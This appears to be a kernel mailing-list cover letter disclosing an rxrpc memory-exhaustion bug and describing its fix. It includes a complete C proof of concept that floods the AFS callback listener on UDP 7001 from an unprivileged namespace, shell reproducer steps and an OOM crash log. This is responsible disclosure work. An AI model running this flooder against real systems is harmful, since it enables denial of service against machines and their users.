* [PATCH net v5 0/1] rxrpc: fix encap_rcv skb accounting exhaustion
@ 2026-09-14 13:09 Zihan Xi
2026-09-14 13:09 ` [PATCH net v5 1/1] " Zihan Xi
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-09-14 13:09 UTC (permalink / raw)
To: dhowells, marc.dionne
Cc: zihanx, davem, edumazet, kuba, pabeni, horms, linux-afs, netdev,
linux-kernel
Hi Linux kernel maintainers,
We found and validated an issue in net/rxrpc/io_thread.c and
net/rxrpc/local_object.c. A non-root user via user and net
namespaces can flood the local RxRPC queue. The panic below is a
downstream OOM in the sender's udpv6_sendmsg() path after
privileged CPU pinning and a SCHED_FIFO hog against krxrpcio,
not an allocation in rxrpc_encap_rcv() itself.
We've tested the patch. The rcvbuf cap bounds this flood and
should not affect other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
rxrpc_encap_rcv() queues encapsulated UDP packets on the RxRPC
local queue without UDP receive-buffer accounting. A local
AF_RXRPC service such as the AFS callback listener can then be
flooded with RxRPC-shaped UDP packets no longer limited by the
UDP socket rcvbuf.
After privileged CPU pinning and a SCHED_FIFO hog against
krxrpcio, the non-root flooder invoked the OOM killer from
udpv6_sendmsg() -> sock_alloc_send_pskb() -> __alloc_skb() /
kmalloc_reserve(). Unreclaimable slab was dominated by
skbuff_small_head (588666KB) and skbuff_head_cache (226372KB);
rxrpc_call_jar was only 611KB, so incoming-call setup was not
the main memory impact. cgroup.freeze does not stop krxrpcio.
The recorded panic used privileged CPU pinning and a SCHED_FIFO
hog; those commands are in Reproducer.
446b3e14525b is the first commit where encap_rcv() queued the skb
for later I/O-thread consumption instead of consuming it
immediately on the UDP receive path.
The patch reaccounts each encapsulated skb against the UDP socket
before queueing it and drops packets once sk_rcvbuf is exhausted.
The I/O thread orphans PACKET skbs on dequeue so UDP rmem
ownership does not follow them onto call or connection queues.
Error-queue skbs keep their destructor. skb_set_owner_r() does
not take sk_refcnt, so rxrpc_destroy_local() still clears
sk_user_data under RCU and delays sock_release() until the local
queues are purged.
sk_forward_alloc is serialised with sk->sk_receive_queue.lock.
encap_rcv() takes it around the charge; the I/O thread takes it
with spin_lock_bh() around skb_orphan(). Packets stay on the
RxRPC local queue.
The kernel UDP tunnel never sized sk_rcvbuf, so a cap at
sysctl_rmem_default (about 208KiB) would be smaller than one
advertised RxRPC receive window of ordinary DATA. The patch sets
sk_rcvbuf from rxrpc_rx_window_size * SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2,
plus 25% for ACKs, extra calls and ICMP, clamped to
[sysctl_rmem_default, sysctl_rmem_max]. It is not sized from
rxrpc_rx_mtu (jumbo 46). The cap is set when the tunnel socket
is opened; later rxrpc_rx_window_size or rmem sysctl changes
do not resize an existing socket. DATA admission leaves one
ordinary packet of rmem headroom so ICMP/error-queue skbs can
still be queued at the DATA cap. Overflows count UDP_MIB_RCVBUFERRORS
and UDP_MIB_INERRORS and use SKB_DROP_REASON_SOCKET_RCVBUFF.
skb->dev is cleared and the dst is dropped, matching the ordinary
UDP enqueue path.
packetdrill cannot express a sustained flood of unique incoming
RxRPC calls, so the dedicated sender below is used.
The in-kernel AFS client (CONFIG_AFS_FS) opens a callback manager
on UDP 7001 when a netns is created; that krxrpcio/7001 listener
is the flood target.
unshare -Urn is enough to get that listener. The sender uses ::1;
the PoC brings lo up because a fresh unshare netns leaves it
down. The recorded panic ran in a guest that already had
lo and ::1.
The crash log is ./scripts/decode_stacktrace.sh output against
the unfixed vmlinux from net/main a401a9d547c50 (7.3.0-rc1+,
CONFIG_AF_RXRPC=y, CONFIG_AFS_FS=y, CONFIG_KASAN=y).
Comm: poc_rxrpc_mem is the non-root flooder that hit OOM in
udpv6_sendmsg(), not in encap_rcv().
Reproducer:
Unprivileged flood:
gcc -O2 -static -pthread -o poc_rxrpc_mem poc.c
unshare -Urn ./poc_rxrpc_mem
That floods the local queue as a non-root user via user and net
namespaces. The crash log is not from that command.
Recorded panic (privileged scheduling interference, then
non-root flood):
gcc -O2 -static -pthread -o poc_rxrpc_mem poc.c
pid=
for d in /proc/[0-9]*; do
[ "$(cat $d/comm 2>/dev/null)" = "krxrpcio/7001" ] || continue
pid=${d#/proc/}
done
taskset -p 2 "$pid"
taskset -c 1 chrt -f 99 /bin/bash -c "while :; do :; done" &
runuser -u test_user -- taskset -c 0 ./poc_rxrpc_mem -t 16 -s 90 -l 8
Compiling poc.c does not need privilege. Pinning krxrpcio and
the SCHED_FIFO hog do. The flood ran as test_user (uid 1001).
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_SERVICE_ID 1
#define AFS_CB_CALLBACK_OP 204
#define DEFAULT_PORT 7001
#define DEFAULT_THREADS 4
#define DEFAULT_SECONDS 20
#define DEFAULT_PAYLOAD 8
struct __attribute__((packed)) rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t reserved;
uint16_t serviceId;
};
struct thread_args {
struct sockaddr_in6 dst;
int seconds;
size_t payload_len;
uint32_t cid_seed;
unsigned long sent;
};
static volatile sig_atomic_t stop_flag;
static void on_alarm(int sig)
{
(void)sig;
stop_flag = 1;
}
static void *sender_thread(void *arg)
{
struct thread_args *ta = arg;
int fd;
char *packet;
struct rxrpc_wire_header *hdr;
uint32_t *op;
uint32_t *count;
uint32_t seq = 1;
uint32_t cid = ta->cid_seed;
fd = socket(AF_INET6, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
packet = malloc(sizeof(*hdr) + ta->payload_len);
if (!packet) {
perror("malloc");
close(fd);
return NULL;
}
memset(packet + sizeof(*hdr), 0, ta->payload_len);
hdr = (struct rxrpc_wire_header *)packet;
hdr->callNumber = htonl(1);
hdr->type = RXRPC_PACKET_TYPE_DATA;
hdr->flags = RXRPC_CLIENT_INITIATED;
hdr->userStatus = 0;
hdr->securityIndex = 0;
hdr->reserved = 0;
hdr->serviceId = htons(RXRPC_SERVICE_ID);
op = (uint32_t *)(packet + sizeof(*hdr));
*op = htonl(AFS_CB_CALLBACK_OP);
if (ta->payload_len >= 8) {
count = op + 1;
*count = htonl(1);
}
/*
* Each datagram is a new incoming RxRPC call (seq=1, unique cid).
* That makes the I/O thread do full incoming-call setup, so it
* falls behind encap_rcv and local->rx_queue can grow.
*/
while (!stop_flag) {
hdr->epoch = htonl(0x80000000u | cid);
hdr->cid = htonl(cid << 2);
hdr->seq = htonl(1);
hdr->serial = htonl(seq);
if (sendto(fd, packet, sizeof(*hdr) + ta->payload_len, 0,
(struct sockaddr *)&ta->dst, sizeof(ta->dst)) >= 0) {
ta->sent++;
seq++;
cid += 32;
}
}
free(packet);
close(fd);
return NULL;
}
static int bring_up_lo(void)
{
struct ifreq ifr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, "lo");
if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s [-a addr] [-p port] [-t threads] [-s seconds] [-l payload_len]\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_port = htons(DEFAULT_PORT),
};
const char *addr = "::1";
int threads = DEFAULT_THREADS;
int seconds = DEFAULT_SECONDS;
size_t payload_len = DEFAULT_PAYLOAD;
pthread_t *tids;
struct thread_args *args;
unsigned long total = 0;
int opt;
while ((opt = getopt(argc, argv, "a:p:t:s:l:h")) != -1) {
switch (opt) {
case 'a':
addr = optarg;
break;
case 'p':
dst.sin6_port = htons((uint16_t)strtoul(optarg, NULL, 0));
break;
case 't':
threads = atoi(optarg);
break;
case 's':
seconds = atoi(optarg);
break;
case 'l':
payload_len = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
return 1;
}
}
if (threads <= 0 || seconds <= 0 || payload_len < 4 || payload_len > 65000) {
usage(argv[0]);
return 1;
}
if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
if (bring_up_lo() < 0)
perror("bring_up_lo");
signal(SIGALRM, on_alarm);
alarm(seconds);
tids = calloc((size_t)threads, sizeof(*tids));
args = calloc((size_t)threads, sizeof(*args));
if (!tids || !args) {
perror("calloc");
return 1;
}
pthread_attr_t attr;
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return 1;
}
if (pthread_attr_setstacksize(&attr, 64 * 1024) != 0) {
perror("pthread_attr_setstacksize");
return 1;
}
for (int i = 0; i < threads; i++) {
args[i].dst = dst;
args[i].seconds = seconds;
args[i].payload_len = payload_len;
args[i].cid_seed = 1 + (uint32_t)i;
if (pthread_create(&tids[i], &attr, sender_thread, &args[i]) != 0) {
fprintf(stderr, "pthread_create(%d) failed: %s\n", i, strerror(errno));
stop_flag = 1;
threads = i;
break;
}
}
pthread_attr_destroy(&attr);
for (int i = 0; i < threads; i++) {
pthread_join(tids[i], NULL);
total += args[i].sent;
}
printf("sent_packets=%lu payload_len=%zu threads=%d duration=%d\n",
total, payload_len, threads, seconds);
free(args);
free(tids);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 57.790181][ T9986] poc_rxrpc_mem invoked oom-killer: gfp_mask=0xc2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_COMP|__GFP_NOMEMALLOC), order=0, oom_score_adj=0
[ 57.830340][ T9986] CPU: 0 UID: 1001 PID: 9986 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc1+ #2 PREEMPT(full)
[ 57.830362][ T9986] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 57.830368][ T9986] Call Trace:
[ 57.830384][ T9986] <TASK>
[ 57.830389][ T9986] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 57.830520][ T9986] dump_stack (lib/dump_stack.c:129)
[ 57.830527][ T9986] dump_header (mm/oom_kill.c:464)
[ 57.830626][ T9986] out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[ 57.830638][ T9986] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 57.830651][ T9986] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 57.830692][ T9986] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 57.830703][ T9986] ? stack_trace_save (kernel/stacktrace.c:122)
[ 57.830767][ T9986] ? __pfx_stack_trace_save (kernel/stacktrace.c:397)
[ 57.830776][ T9986] ? stack_depot_save_flags (lib/stackdepot.c:667)
[ 57.830846][ T9986] ? __sanitizer_cov_trace_cmp4 (kernel/kcov.c:284)
[ 57.830906][ T9986] ? find_match (net/ipv6/route.c:806)
[ 57.830996][ T9986] ? kvm_clock_get_cycles (arch/x86/kernel/kvmclock.c:87)
[ 57.831041][ T9986] ? kasan_save_stack (mm/kasan/common.c:58)
[ 57.831099][ T9986] ? kasan_save_stack (mm/kasan/common.c:57)
[ 57.831110][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 57.831134][ T9986] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 57.831161][ T9986] allocate_slab (mm/slub.c:3347 mm/slub.c:3470)
[ 57.831176][ T9986] new_slab (mm/slub.c:3513)
[ 57.831184][ T9986] refill_objects (mm/slub.c:7410)
[ 57.831191][ T9986] ? __pcs_replace_empty_main (include/linux/local_lock_internal.h:62 mm/slub.c:4762)
[ 57.831212][ T9986] __pcs_replace_empty_main (mm/slub.c:2885 mm/slub.c:4774)
[ 57.831227][ T9986] kmem_cache_alloc_node_noprof (mm/slub.c:4850 mm/slub.c:4984 mm/slub.c:5068)
[ 57.831244][ T9986] ? kmalloc_reserve (net/core/skbuff.c:615)
[ 57.831301][ T9986] kmalloc_reserve (net/core/skbuff.c:615)
[ 57.831312][ T9986] __alloc_skb (net/core/skbuff.c:715)
[ 57.831323][ T9986] ? __alloc_skb (include/linux/bottom_half.h:20 net/core/skbuff.c:697)
[ 57.831335][ T9986] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 57.831350][ T9986] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6796)
[ 57.831359][ T9986] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347)
[ 57.831370][ T9986] sock_alloc_send_pskb (net/core/sock.c:3015)
[ 57.831382][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 57.831399][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 57.831421][ T9986] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2847)
[ 57.831432][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 57.831441][ T9986] ? ipv6_dev_get_saddr (include/linux/rcupdate.h:882 net/ipv6/addrconf.c:1916)
[ 57.831464][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 57.831475][ T9986] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 57.831487][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 57.831499][ T9986] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 57.831544][ T9986] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 57.831553][ T9986] ? ip6_mtu (net/ipv6/route.c:3290)
[ 57.831571][ T9986] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 57.831583][ T9986] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 57.831594][ T9986] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 57.831607][ T9986] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 57.831650][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 57.831664][ T9986] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 57.831676][ T9986] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 57.831688][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 57.831704][ T9986] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 57.831716][ T9986] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 57.831727][ T9986] ? __pfx_avc_has_perm (include/linux/rcupdate.h:878)
[ 57.831806][ T9986] ? sock_has_perm (security/selinux/hooks.c:4932)
[ 57.831838][ T9986] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 57.831854][ T9986] inet6_sendmsg (net/ipv6/af_inet6.c:641)
[ 57.831877][ T9986] ? inet6_sendmsg (net/ipv6/af_inet6.c:641)
[ 57.831895][ T9986] __sys_sendto (net/socket.c:800 net/socket.c:815 net/socket.c:2281)
[ 57.831912][ T9986] ? __pfx___sys_sendto (net/socket.c:2235)
[ 57.831926][ T9986] ? rcu_is_watching (include/linux/context_tracking.h:128 kernel/rcu/tree.c:753)
[ 57.831952][ T9986] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 57.831977][ T9986] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 57.831987][ T9986] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 57.831998][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 57.832006][ T9986] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 57.832024][ T9986] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 57.832059][ T9986] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 57.832072][ T9986] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 57.832094][ T9986] RIP: 0033:0x423004
[ 57.832120][ T9986] Code: Unable to access opcode bytes at 0x422fda.
Code starting with the faulting instruction
===========================================
[ 57.832135][ T9986] RSP: 002b:00007f4cf3c491b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 57.832144][ T9986] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423004
[ 57.832150][ T9986] RDX: 0000000000000024 RSI: 00007f4cd8000b70 RDI: 0000000000000009
[ 57.832155][ T9986] RBP: 00007f4cf3c491f0 R08: 00000000290bab20 R09: 000000000000001c
[ 57.832160][ T9986] R10: 0000000000000000 R11: 0000000000000293 R12: 000000000000b99d
[ 57.832165][ T9986] R13: 0000000080173387 R14: 00000000005cce1c R15: 00000000290bab20
[ 57.832176][ T9986] </TASK>
[ 57.943752][ T9986] Mem-Info:
[ 57.943785][ T9986] active_anon:7770 inactive_anon:1591 isolated_anon:0
[ 57.943785][ T9986] active_file:115 inactive_file:821 isolated_file:0
[ 57.943785][ T9986] unevictable:1768 dirty:0 writeback:0
[ 57.943785][ T9986] slab_reclaimable:7429 slab_unreclaimable:242615
[ 57.943785][ T9986] mapped:198 shmem:2716 pagetables:594
[ 57.943785][ T9986] sec_pagetables:0 bounce:0
[ 57.943785][ T9986] kernel_misc_reclaimable:0
[ 57.943785][ T9986] free:13782 free_pcp:329 free_cma:0
[ 57.943833][ T9986] Node 0 active_anon:31080kB inactive_anon:6364kB active_file:460kB inactive_file:3284kB unevictable:7072kB isolated(anon):0kB isolated(file):0kB mapped:792kB dirty:0kB writeback:0kB shmem:10864kB shmem_thp:0kB shmem_pmdmapped:0kB anon_thp:0kB kernel_stack:9984kB pagetables:2376kB sec_pagetables:0kB all_unreclaimable? no Balloon:0kB gpu_active:0kB gpu_reclaim:0kB
[ 57.943863][ T9986] Node 0 DMA free:5652kB boost:0kB min:524kB low:652kB high:780kB reserved_highatomic:0kB free_highatomic:0kB active_anon:0kB inactive_anon:36kB active_file:0kB inactive_file:0kB unevictable:0kB writepending:0kB zspages:0kB present:15992kB managed:15360kB mlocked:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB
[ 57.943914][ T9986] lowmem_reserve[]: 0 1295 1295 1295 1295
[ 57.943970][ T9986] Node 0 DMA32 free:49476kB boost:0kB min:44528kB low:55660kB high:66792kB reserved_highatomic:0kB free_highatomic:0kB active_anon:31044kB inactive_anon:6364kB active_file:460kB inactive_file:3284kB unevictable:7072kB writepending:0kB zspages:0kB present:2080640kB managed:1326208kB mlocked:0kB bounce:0kB free_pcp:1316kB local_pcp:664kB free_cma:0kB
[ 57.944007][ T9986] lowmem_reserve[]: 0 0 0 0 0
[ 57.944062][ T9986] Node 0 DMA: 5*4kB (UME) 4*8kB (UME) 4*16kB (UME) 3*32kB (UME) 1*64kB (E) 2*128kB (ME) 2*256kB (ME) 3*512kB (UME) 3*1024kB (UME) 0*2048kB 0*4096kB = 5652kB
[ 57.944272][ T9986] Node 0 DMA32: 309*4kB (UME) 794*8kB (UME) 554*16kB (UME) 221*32kB (UME) 111*64kB (UME) 56*128kB (UME) 30*256kB (UME) 8*512kB (UM) 0*1024kB 0*2048kB 0*4096kB = 49572kB
[ 57.944475][ T9986] Node 0 hugepages_total=0 hugepages_free=0 hugepages_surp=0 hugepages_size=1048576kB
[ 57.944488][ T9986] Node 0 hugepages_total=4 hugepages_free=4 hugepages_surp=0 hugepages_size=2048kB
[ 57.944501][ T9986] 3667 total pagecache pages
[ 57.944526][ T9986] 0 pages in swap cache
[ 57.944537][ T9986] Free swap = 0kB
[ 58.016931][ T9986] Total swap = 0kB
[ 58.016963][ T9986] 524158 pages RAM
[ 58.016972][ T9986] 0 pages HighMem/MovableOnly
[ 58.016981][ T9986] 188766 pages reserved
[ 58.016989][ T9986] 0 pages cma reserved
[ 58.016998][ T9986] Unreclaimable slab info:
[ 58.017007][ T9986] Name Used Total
[ 58.017026][ T9986] bio-464 17KB 22KB
[ 58.017038][ T9986] bio-528 19KB 31KB
[ 58.017050][ T9986] bio-544 19KB 31KB
[ 58.017061][ T9986] bio-552 19KB 31KB
[ 58.017076][ T9986] TIPC 19KB 30KB
[ 58.017089][ T9986] SCTPv6 25KB 30KB
[ 58.017116][ T9986] RXRPC 46KB 64KB
[ 58.017127][ T9986] rxrpc_call_jar 611KB 641KB
[ 58.017140][ T9986] fib6_node 15KB 16KB
[ 58.017153][ T9986] ip6_dst_cache 15KB 18KB
[ 58.017165][ T9986] RAWv6 16KB 30KB
[ 58.017176][ T9986] UDPv6 72KB 94KB
[ 58.017188][ T9986] TCPv6 74KB 91KB
[ 58.017207][ T9986] t10_alua_lu_gp_cache 8KB 11KB
[ 58.017220][ T9986] scsi_sense_cache 15KB 16KB
[ 58.017233][ T9986] virtio_scsi_cmd 21KB 24KB
[ 58.017245][ T9986] bio-136 41KB 44KB
[ 58.017260][ T9986] bio-264 10KB 15KB
[ 58.017271][ T9986] mqueue_inode_cache 19KB 30KB
[ 58.017300][ T9986] f2fs_evict_inode_work 7KB 7KB
[ 58.017313][ T9986] bio-272 10KB 15KB
[ 58.017324][ T9986] f2fs_bio_post_read_ctx 30KB 31KB
[ 58.017348][ T9986] jfs_mp 14KB 15KB
[ 58.017365][ T9986] cifs_small_rq 28KB 32KB
[ 58.017378][ T9986] cifs_request 67KB 67KB
[ 58.017389][ T9986] cifs_mpx_ids 8KB 11KB
[ 58.017407][ T9986] cifs_io_subrequest 42KB 47KB
[ 58.017418][ T9986] cifs_io_request 105KB 111KB
[ 58.017431][ T9986] nfs_commit_data 24KB 31KB
[ 58.017444][ T9986] nfs_write_data 40KB 47KB
[ 58.017459][ T9986] jbd2_inode 10KB 11KB
[ 58.017471][ T9986] ext4_system_zone 0KB 3KB
[ 58.017484][ T9986] ext4_io_end_vec 3KB 7KB
[ 58.017499][ T9986] fasync_cache 9KB 11KB
[ 58.017511][ T9986] kvm_gmem_inode_cache 15KB 15KB
[ 58.017524][ T9986] rpc_buffers 25KB 31KB
[ 58.017536][ T9986] rpc_tasks 8KB 11KB
[ 58.017548][ T9986] UNIX-STREAM 68KB 223KB
[ 58.017561][ T9986] UNIX 59KB 127KB
[ 58.017573][ T9986] tcp_bind2_bucket 14KB 16KB
[ 58.017584][ T9986] tcp_bind_bucket 15KB 16KB
[ 58.017595][ T9986] ip_fib_trie 7KB 8KB
[ 58.017609][ T9986] ip_fib_alias 10KB 11KB
[ 58.017620][ T9986] rtable 7KB 12KB
[ 58.017631][ T9986] RAW 22KB 31KB
[ 58.017642][ T9986] UDP 19KB 63KB
[ 58.017652][ T9986] request_sock_TCP 6KB 15KB
[ 58.017663][ T9986] TCP 74KB 87KB
[ 58.017674][ T9986] fs_bio_integrity 7KB 8KB
[ 58.017686][ T9986] hugetlbfs_inode_cache 28KB 31KB
[ 58.017697][ T9986] netfs_subrequest 35KB 37KB
[ 58.017709][ T9986] netfs_request 105KB 111KB
[ 58.017720][ T9986] bio-288 31KB 31KB
[ 58.017736][ T9986] bio-328 12KB 15KB
[ 58.017748][ T9986] ep_head 4KB 15KB
[ 58.017759][ T9986] eventpoll_pwq 8KB 27KB
[ 58.017771][ T9986] eventpoll_epi 33KB 55KB
[ 58.017782][ T9986] inotify_inode_mark 36KB 39KB
[ 58.017793][ T9986] bpf_fs_inode_cache 14KB 15KB
[ 58.017807][ T9986] sgpool-128 140KB 148KB
[ 58.017820][ T9986] sgpool-64 87KB 95KB
[ 58.017832][ T9986] sgpool-32 38KB 47KB
[ 58.017843][ T9986] sgpool-16 19KB 45KB
[ 58.017854][ T9986] sgpool-8 19KB 22KB
[ 58.017864][ T9986] bio_crypt_ctx 9KB 11KB
[ 58.017876][ T9986] bio_integrity_data 7KB 8KB
[ 58.017887][ T9986] request_queue 195KB 211KB
[ 58.017898][ T9986] blkdev_ioc 12KB 19KB
[ 58.017909][ T9986] bio-200 70KB 71KB
[ 58.017920][ T9986] biovec-max 437KB 505KB
[ 58.017932][ T9986] biovec-128 57KB 63KB
[ 58.017952][ T9986] biovec-64 56KB 63KB
[ 58.017964][ T9986] biovec-16 11KB 15KB
[ 58.017976][ T9986] uid_cache 13KB 18KB
[ 58.017988][ T9986] dmaengine-unmap-256 26KB 30KB
[ 58.122516][ T9986] dmaengine-unmap-128 14KB 15KB
[ 58.123647][ T9986] dmaengine-unmap-16 7KB 8KB
[ 58.123666][ T9986] dmaengine-unmap-2 3KB 4KB
[ 58.123677][ T9986] QIPCRTR 18KB 31KB
[ 58.123690][ T9986] audit_buffer 10KB 23KB
[ 58.123820][ T9986] skbuff_small_head 588666KB 588670KB
[ 58.123833][ T9986] skbuff_fclone_cache 7KB 30KB
[ 58.123844][ T9986] skbuff_head_cache 226372KB 226372KB
[ 58.123855][ T9986] configfs_dir_cache 15KB 16KB
[ 58.123867][ T9986] file_lock_cache 10KB 23KB
[ 58.123878][ T9986] file_lock_ctx 29KB 31KB
[ 58.123890][ T9986] fsnotify_inode_mark_connector 22KB 27KB
[ 58.123903][ T9986] taskstats 44KB 47KB
[ 58.123925][ T9986] mem_cgroup_per_node 96KB 122KB
[ 58.123937][ T9986] mem_cgroup 110KB 120KB
[ 58.123949][ T9986] proc_dir_entry 277KB 292KB
[ 58.123960][ T9986] pde_opener 3KB 3KB
[ 58.123971][ T9986] seq_file 16KB 23KB
[ 58.123982][ T9986] sigqueue 4KB 15KB
[ 58.123996][ T9986] shmem_inode_cache 8366KB 8485KB
[ 58.124011][ T9986] kernfs_iattrs_cache 134KB 153KB
[ 58.124047][ T9986] kernfs_node_cache 17766KB 17977KB
[ 58.124060][ T9986] mnt_cache 47KB 86KB
[ 58.124081][ T9986] filp 213KB 795KB
[ 58.124113][ T9986] names_cache 19KB 28KB
[ 58.124124][ T9986] net_namespace 38KB 58KB
[ 58.124136][ T9986] ima_iint_cache 134KB 135KB
[ 58.124148][ T9986] hashtab_node 274KB 274KB
[ 58.124160][ T9986] ebitmap_node 1154KB 1169KB
[ 58.124171][ T9986] avtab_node 4975KB 4976KB
[ 58.124189][ T9986] avc_node 60KB 95KB
[ 58.124236][ T9986] lsm_inode_cache 3820KB 4522KB
[ 58.124251][ T9986] lsm_file_cache 34KB 192KB
[ 58.124262][ T9986] key_jar 32KB 47KB
[ 58.124273][ T9986] uts_namespace 45KB 46KB
[ 58.124285][ T9986] nsproxy 11KB 15KB
[ 58.124318][ T9986] vm_area_struct 841KB 1443KB
[ 58.124329][ T9986] fs_cache 15KB 32KB
[ 58.124341][ T9986] files_cache 59KB 175KB
[ 58.124363][ T9986] task_exec_state 1KB 16KB
[ 58.124386][ T9986] signal_cache 556KB 1756KB
[ 58.124403][ T9986] sighand_cache 709KB 1924KB
[ 58.124423][ T9986] task_struct 2476KB 3812KB
[ 58.124448][ T9986] cred 94KB 292KB
[ 58.124464][ T9986] anon_vma_chain 213KB 401KB
[ 58.206961][ T9986] anon_vma 267KB 421KB
[ 58.207972][ T9986] pid 111KB 255KB
[ 58.210498][ T9986] Acpi-Operand 53KB 110KB
[ 58.213133][ T9986] Acpi-ParseExt 4KB 19KB
[ 58.213156][ T9986] Acpi-Parse 2KB 19KB
[ 58.213169][ T9986] Acpi-State 5KB 19KB
[ 58.213182][ T9986] Acpi-Namespace 28KB 32KB
[ 58.213196][ T9986] numa_policy 3KB 4KB
[ 58.213209][ T9986] perf_event 15KB 31KB
[ 58.213222][ T9986] trace_event_file 547KB 548KB
[ 58.213245][ T9986] ftrace_event_field 1057KB 1059KB
[ 58.213288][ T9986] pool_workqueue 516KB 528KB
[ 58.213318][ T9986] maple_node 517KB 1576KB
[ 58.213332][ T9986] mm_struct 82KB 382KB
[ 58.213354][ T9986] vmap_area 420KB 558KB
[ 58.213396][ T9986] debug_objects_cache 1532KB 1892KB
[ 58.213412][ T9986] page->ptl 35KB 106KB
[ 58.213424][ T9986] kmalloc-cg-8k 160KB 160KB
[ 58.213438][ T9986] kmalloc-cg-4k 792KB 928KB
[ 58.213452][ T9986] kmalloc-cg-2k 1060KB 1216KB
[ 58.213465][ T9986] kmalloc-cg-1k 204KB 352KB
[ 58.213478][ T9986] kmalloc-cg-512 86KB 192KB
[ 58.213491][ T9986] kmalloc-cg-256 61KB 72KB
[ 58.213505][ T9986] kmalloc-cg-128 1039KB 1056KB
[ 58.213522][ T9986] kmalloc-cg-64 53KB 244KB
[ 58.213537][ T9986] kmalloc-cg-32 424KB 448KB
[ 58.213565][ T9986] kmalloc-cg-16 3KB 8KB
[ 58.213577][ T9986] kmalloc-cg-8 5KB 8KB
[ 58.213589][ T9986] kmalloc-cg-192 27KB 28KB
[ 58.213623][ T9986] kmalloc-cg-96 350KB 368KB
[ 58.261936][ T9986] kmalloc-8k 1664KB 1888KB
[ 58.261990][ T9986] kmalloc-4k 3120KB 7104KB
[ 58.262003][ T9986] kmalloc-2k 10564KB 10592KB
[ 58.262015][ T9986] kmalloc-1k 3506KB 3520KB
